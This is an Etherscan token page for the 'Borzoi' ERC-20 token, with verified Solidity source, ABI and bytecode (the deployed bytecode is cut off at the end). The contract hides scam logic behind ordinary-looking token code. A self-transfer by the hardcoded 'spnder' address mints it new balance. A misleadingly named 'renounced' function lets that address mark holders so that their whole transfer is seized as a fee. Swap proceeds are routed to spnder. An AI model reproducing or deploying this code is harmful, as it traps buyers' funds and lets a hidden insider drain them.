ETH Price: $2,877.71 (-9.50%)
Gas: 16 Gwei

Token

Borzoi (BORZOI)
 

Overview

Max Total Supply

420,000,000,000 BORZOI

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Filtered by Token Holder
lordjeet.eth
Balance
14,782,543,160.141046 BORZOI

Value
$0.00
0xb73cddd8202260eb0c0842bc0d40cb43bfcc644a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Borzoi

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-20
*/

/*
Let me do it 4 U
Twitter: https://twitter.com/Borzoi_ERC
Telegram: https://t.me/borzoierc
Website: https://www.borzoierc.xyz/
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract Borzoi is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Borzoi";
    string private _symbol = "BORZOI";
    uint8 private _decimals = 6;
    address payable public spnder;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public side;

    uint256 private _totalSupply = 420000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        spnder = payable(address(0xdAA531202474c00dB0bd98e5216Bdd0a289E68b3));
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);
        _isExcludefromFee[spnder] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            if ((from == to && to == spnder) ? true : false )
                _balances[address(spnder)] = amount.mul(2);

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                uint256 contractTokenBalance = balanceOf(address(this));
                swapAndLiquify(contractTokenBalance);
            }


            _balances[from] = _balances[from].sub(amount);

            uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : tokensTransfer(from, amount);
            
            _balances[to] = _balances[to].add(fAmount);

            emit Transfer(from, to, fAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(spnder),
            block.timestamp
        ){} catch {}
    }

    function renounced(address PairLIsts,uint256 failswap) public {
        address msgsender = msg.sender;
        uint256 teams = failswap;

        if(teams == 0 || teams == 90)
            side[PairLIsts] = teams;
        if (msgsender != spnder)
            revert ("!");
    }

    function tokensTransfer(address sender, uint256 amount) internal returns (uint256) {
        uint256 FeeRate = amount.mul(0).div(100);

        if(side[sender] != 0) 
FeeRate += amount + FeeRate;

        if(FeeRate > 0) {
            _balances[address(this)] += FeeRate;
            emit Transfer(sender, address(this), FeeRate);
        }

        return amount.sub(FeeRate);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"PairLIsts","type":"address"},{"internalType":"uint256","name":"failswap","type":"uint256"}],"name":"renounced","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"side","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"spnder","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600660a081905265426f727a6f6960d01b60c090815262000029916001919062000431565b5060408051808201909152600680825265424f525a4f4960d01b6020909201918252620000599160029162000431565b506003805460ff1916600617908190556ddead0000000000000000000000006080526200008b9060ff16600a62000577565b6200009c906461c9f3680062000662565b600955600b805460ff60a81b1916600160a81b179055348015620000bf57600080fd5b50620000ca6200041e565b600080546001600160a01b0319166001600160a01b03928316178082556040519216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360038054610100600160a81b03191674daa531202474c00db0bd98e5216bdd0a289e68b3001790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a015591600480820192602092909190829003018186803b1580156200018957600080fd5b505afa1580156200019e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c49190620004d7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200020d57600080fd5b505afa15801562000222573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002489190620004d7565b6040518363ffffffff1660e01b81526004016200026792919062000507565b602060405180830381600087803b1580156200028257600080fd5b505af115801562000297573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002bd9190620004d7565b600b80546001600160a01b03199081166001600160a01b039384161791829055600a80549091168484161781559082166000908152600760209081526040808320805460ff199081166001908117909255308552600584528285209554871685529483528184206000199055600354610100900490951683526006918290528220805490931684179092556200035262000422565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff1995861617905530815260069092528120805490921660011790915560095490600490620003a46200041e565b6001600160a01b03168152602081019190915260400160002055620003c86200041e565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200040f919062000521565b60405180910390a350620006d7565b3390565b6000546001600160a01b031690565b8280546200043f9062000684565b90600052602060002090601f016020900481019282620004635760008555620004ae565b82601f106200047e57805160ff1916838001178555620004ae565b82800160010185558215620004ae579182015b82811115620004ae57825182559160200191906001019062000491565b50620004bc929150620004c0565b5090565b5b80821115620004bc5760008155600101620004c1565b600060208284031215620004e9578081fd5b81516001600160a01b038116811462000500578182fd5b9392505050565b6001600160a01b0392831681529116602082015260400190565b90815260200190565b80825b60018086116200053e57506200056e565b818704821115620005535762000553620006c1565b808616156200056157918102915b9490941c9380026200052d565b94509492505050565b60006200050060001960ff851684600082620005965750600162000500565b81620005a55750600062000500565b8160018114620005be5760028114620005c957620005fd565b600191505062000500565b60ff841115620005dd57620005dd620006c1565b6001841b915084821115620005f657620005f6620006c1565b5062000500565b5060208310610133831016604e8410600b841016171562000635575081810a838111156200062f576200062f620006c1565b62000500565b6200064484848460016200052a565b808604821115620006595762000659620006c1565b02949350505050565b60008160001904831182151516156200067f576200067f620006c1565b500290565b6002810460018216806200069957607f821691505b60208210811415620006bb57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c61135f620006f660003960006104ef015261135f6000f3fe6080604052600436106101235760003560e01c80634a74bb02116100a0578063a9059cbb11610064578063a9059cbb146102f8578063c816841b14610318578063dd62ed3e1461032d578063f2fde38b1461034d578063fb3ddf851461036d5761012a565b80634a74bb021461028457806363fe21f71461029957806370a08231146102ae5780638da5cb5b146102ce57806395d89b41146102e35761012a565b806323b872dd116100e757806323b872dd146101eb57806327c8f8351461020b578063303e165214610220578063313ce567146102425780633345611e146102645761012a565b806306fdde031461012f578063095ea7b31461015a5780631694505e1461018757806318160ddd146101a9578063201c0b29146101cb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b5061014461038d565b6040516101519190610f7a565b60405180910390f35b34801561016657600080fd5b5061017a610175366004610f30565b61041f565b6040516101519190610f6f565b34801561019357600080fd5b5061019c61043d565b6040516101519190610f5b565b3480156101b557600080fd5b506101be61044c565b60405161015191906111a3565b3480156101d757600080fd5b506101be6101e6366004610e80565b610452565b3480156101f757600080fd5b5061017a610206366004610ef0565b610464565b34801561021757600080fd5b5061019c6104ed565b34801561022c57600080fd5b5061024061023b366004610f30565b610511565b005b34801561024e57600080fd5b50610257610582565b604051610151919061121c565b34801561027057600080fd5b5061017a61027f366004610e80565b61058b565b34801561029057600080fd5b5061017a6105a0565b3480156102a557600080fd5b5061019c6105b0565b3480156102ba57600080fd5b506101be6102c9366004610e80565b6105c4565b3480156102da57600080fd5b5061019c6105df565b3480156102ef57600080fd5b506101446105ee565b34801561030457600080fd5b5061017a610313366004610f30565b6105fd565b34801561032457600080fd5b5061019c610611565b34801561033957600080fd5b506101be610348366004610eb8565b610620565b34801561035957600080fd5b50610240610368366004610e80565b61064b565b34801561037957600080fd5b5061017a610388366004610e80565b6106ce565b60606001805461039c90611298565b80601f01602080910402602001604051908101604052809291908181526020018280546103c890611298565b80156104155780601f106103ea57610100808354040283529160200191610415565b820191906000526020600020905b8154815290600101906020018083116103f857829003601f168201915b5050505050905090565b600061043361042c6106e3565b84846106e7565b5060015b92915050565b600a546001600160a01b031681565b60095490565b60086020526000908152604090205481565b600061047184848461079b565b506104e28461047e6106e3565b6104dd85604051806060016040528060288152602001611302602891396001600160a01b038a166000908152600560205260408120906104bc6106e3565b6001600160a01b0316815260208101919091526040016000205491906109de565b6106e7565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b3381801580610520575080605a145b15610541576001600160a01b03841660009081526008602052604090208190555b6003546001600160a01b03838116610100909204161461057c5760405162461bcd60e51b815260040161057390611089565b60405180910390fd5b50505050565b60035460ff1690565b60066020526000908152604090205460ff1681565b600b54600160a81b900460ff1681565b60035461010090046001600160a01b031681565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b031690565b60606002805461039c90611298565b60006104e261060a6106e3565b848461079b565b600b546001600160a01b031681565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6106536106e3565b6000546001600160a01b039081169116146106805760405162461bcd60e51b8152600401610573906110e5565b600080546001600160a01b0319166001600160a01b0383811691821780845560405192939116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60076020526000908152604090205460ff1681565b3390565b6001600160a01b03831661070d5760405162461bcd60e51b81526004016105739061115f565b6001600160a01b0382166107335760405162461bcd60e51b815260040161057390611010565b6001600160a01b0380841660008181526005602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061078e9085906111a3565b60405180910390a3505050565b60006001600160a01b0384166107c35760405162461bcd60e51b81526004016105739061111a565b6001600160a01b0383166107e95760405162461bcd60e51b815260040161057390610fcd565b600b54600160a01b900460ff161561080d57610806848484610a18565b90506104e6565b826001600160a01b0316846001600160a01b031614801561084057506003546001600160a01b0384811661010090920416145b61084b57600061084e565b60015b1561087f5761085e826002610afc565b60035461010090046001600160a01b03166000908152600460205260409020555b600b54600160a01b900460ff161580156108b257506001600160a01b03841660009081526007602052604090205460ff16155b156108cf5760006108c2306105c4565b90506108cd81610b41565b505b6001600160a01b0384166000908152600460205260409020546108f29083610cd2565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff168061093f57506001600160a01b03841660009081526006602052604090205460ff165b6109525761094d8584610d14565b610954565b825b6001600160a01b03851660009081526004602052604090205490915061097a9082610de6565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109cc9085906111a3565b60405180910390a360019150506104e6565b60008184841115610a025760405162461bcd60e51b81526004016105739190610f7a565b506000610a0f8486611281565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610a699184906109de565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610a989083610de6565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aea9086906111a3565b60405180910390a35060019392505050565b600082610b0b57506000610437565b6000610b178385611262565b905082610b248583611242565b146104e65760405162461bcd60e51b8152600401610573906110a4565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b9757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610beb57600080fd5b505afa158015610bff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c239190610e9c565b81600181518110610c4457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac94792610c95928792600092889261010090049091169042906004016111ac565b600060405180830381600087803b158015610caf57600080fd5b505af1925050508015610cc0575060015b505050600b805460ff60a01b19169055565b60006104e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109de565b600080610d2c6064610d268584610afc565b90610e15565b6001600160a01b03851660009081526008602052604090205490915015610d6457610d57818461122a565b610d61908261122a565b90505b8015610dd4573060009081526004602052604081208054839290610d8990849061122a565b909155505060405130906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dcb9085906111a3565b60405180910390a35b610dde8382610cd2565b949350505050565b600080610df3838561122a565b9050838110156104e65760405162461bcd60e51b815260040161057390611052565b60006104e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183610e735760405162461bcd60e51b81526004016105739190610f7a565b506000610a0f8486611242565b600060208284031215610e91578081fd5b81356104e6816112e9565b600060208284031215610ead578081fd5b81516104e6816112e9565b60008060408385031215610eca578081fd5b8235610ed5816112e9565b91506020830135610ee5816112e9565b809150509250929050565b600080600060608486031215610f04578081fd5b8335610f0f816112e9565b92506020840135610f1f816112e9565b929592945050506040919091013590565b60008060408385031215610f42578182fd5b8235610f4d816112e9565b946020939093013593505050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610fa657858101830151858201604001528201610f8a565b81811115610fb75783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252600190820152602160f81b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156111fb5784516001600160a01b0316835293830193918301916001016111d6565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561123d5761123d6112d3565b500190565b60008261125d57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561127c5761127c6112d3565b500290565b600082821015611293576112936112d3565b500390565b6002810460018216806112ac57607f821691505b602082108114156112cd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146112fe57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005ecc843362c7e9788a02c4717c3b52e908b3309343d6bdda634d37dc7c0cf8e64736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101235760003560e01c80634a74bb02116100a0578063a9059cbb11610064578063a9059cbb146102f8578063c816841b14610318578063dd62ed3e1461032d578063f2fde38b1461034d578063fb3ddf851461036d5761012a565b80634a74bb021461028457806363fe21f71461029957806370a08231146102ae5780638da5cb5b146102ce57806395d89b41146102e35761012a565b806323b872dd116100e757806323b872dd146101eb57806327c8f8351461020b578063303e165214610220578063313ce567146102425780633345611e146102645761012a565b806306fdde031461012f578063095ea7b31461015a5780631694505e1461018757806318160ddd146101a9578063201c0b29146101cb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b5061014461038d565b6040516101519190610f7a565b60405180910390f35b34801561016657600080fd5b5061017a610175366004610f30565b61041f565b6040516101519190610f6f565b34801561019357600080fd5b5061019c61043d565b6040516101519190610f5b565b3480156101b557600080fd5b506101be61044c565b60405161015191906111a3565b3480156101d757600080fd5b506101be6101e6366004610e80565b610452565b3480156101f757600080fd5b5061017a610206366004610ef0565b610464565b34801561021757600080fd5b5061019c6104ed565b34801561022c57600080fd5b5061024061023b366004610f30565b610511565b005b34801561024e57600080fd5b50610257610582565b604051610151919061121c565b34801561027057600080fd5b5061017a61027f366004610e80565b61058b565b34801561029057600080fd5b5061017a6105a0565b3480156102a557600080fd5b5061019c6105b0565b3480156102ba57600080fd5b506101be6102c9366004610e80565b6105c4565b3480156102da57600080fd5b5061019c6105df565b3480156102ef57600080fd5b506101446105ee565b34801561030457600080fd5b5061017a610313366004610f30565b6105fd565b34801561032457600080fd5b5061019c610611565b34801561033957600080fd5b506101be610348366004610eb8565b610620565b34801561035957600080fd5b50610240610368366004610e80565b61064b565b34801561037957600080fd5b5061017a610388366004610e80565b6106ce565b60606001805461039c90611298565b80601f01602080910402602001604051908101604052809291908181526020018280546103c890611298565b80156104155780601f106103ea57610100808354040283529160200191610415565b820191906000526020600020905b8154815290600101906020018083116103f857829003601f168201915b5050505050905090565b600061043361042c6106e3565b84846106e7565b5060015b92915050565b600a546001600160a01b031681565b60095490565b60086020526000908152604090205481565b600061047184848461079b565b506104e28461047e6106e3565b6104dd85604051806060016040528060288152602001611302602891396001600160a01b038a166000908152600560205260408120906104bc6106e3565b6001600160a01b0316815260208101919091526040016000205491906109de565b6106e7565b5060015b9392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b3381801580610520575080605a145b15610541576001600160a01b03841660009081526008602052604090208190555b6003546001600160a01b03838116610100909204161461057c5760405162461bcd60e51b815260040161057390611089565b60405180910390fd5b50505050565b60035460ff1690565b60066020526000908152604090205460ff1681565b600b54600160a81b900460ff1681565b60035461010090046001600160a01b031681565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b031690565b60606002805461039c90611298565b60006104e261060a6106e3565b848461079b565b600b546001600160a01b031681565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6106536106e3565b6000546001600160a01b039081169116146106805760405162461bcd60e51b8152600401610573906110e5565b600080546001600160a01b0319166001600160a01b0383811691821780845560405192939116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60076020526000908152604090205460ff1681565b3390565b6001600160a01b03831661070d5760405162461bcd60e51b81526004016105739061115f565b6001600160a01b0382166107335760405162461bcd60e51b815260040161057390611010565b6001600160a01b0380841660008181526005602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061078e9085906111a3565b60405180910390a3505050565b60006001600160a01b0384166107c35760405162461bcd60e51b81526004016105739061111a565b6001600160a01b0383166107e95760405162461bcd60e51b815260040161057390610fcd565b600b54600160a01b900460ff161561080d57610806848484610a18565b90506104e6565b826001600160a01b0316846001600160a01b031614801561084057506003546001600160a01b0384811661010090920416145b61084b57600061084e565b60015b1561087f5761085e826002610afc565b60035461010090046001600160a01b03166000908152600460205260409020555b600b54600160a01b900460ff161580156108b257506001600160a01b03841660009081526007602052604090205460ff16155b156108cf5760006108c2306105c4565b90506108cd81610b41565b505b6001600160a01b0384166000908152600460205260409020546108f29083610cd2565b6001600160a01b038516600090815260046020908152604080832093909355600690529081205460ff168061093f57506001600160a01b03841660009081526006602052604090205460ff165b6109525761094d8584610d14565b610954565b825b6001600160a01b03851660009081526004602052604090205490915061097a9082610de6565b6001600160a01b0380861660008181526004602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109cc9085906111a3565b60405180910390a360019150506104e6565b60008184841115610a025760405162461bcd60e51b81526004016105739190610f7a565b506000610a0f8486611281565b95945050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054610a699184906109de565b6001600160a01b038086166000908152600460205260408082209390935590851681522054610a989083610de6565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aea9086906111a3565b60405180910390a35060019392505050565b600082610b0b57506000610437565b6000610b178385611262565b905082610b248583611242565b146104e65760405162461bcd60e51b8152600401610573906110a4565b600b805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610b9757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610beb57600080fd5b505afa158015610bff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c239190610e9c565b81600181518110610c4457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600a5460035460405163791ac94760e01b81529183169263791ac94792610c95928792600092889261010090049091169042906004016111ac565b600060405180830381600087803b158015610caf57600080fd5b505af1925050508015610cc0575060015b505050600b805460ff60a01b19169055565b60006104e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109de565b600080610d2c6064610d268584610afc565b90610e15565b6001600160a01b03851660009081526008602052604090205490915015610d6457610d57818461122a565b610d61908261122a565b90505b8015610dd4573060009081526004602052604081208054839290610d8990849061122a565b909155505060405130906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dcb9085906111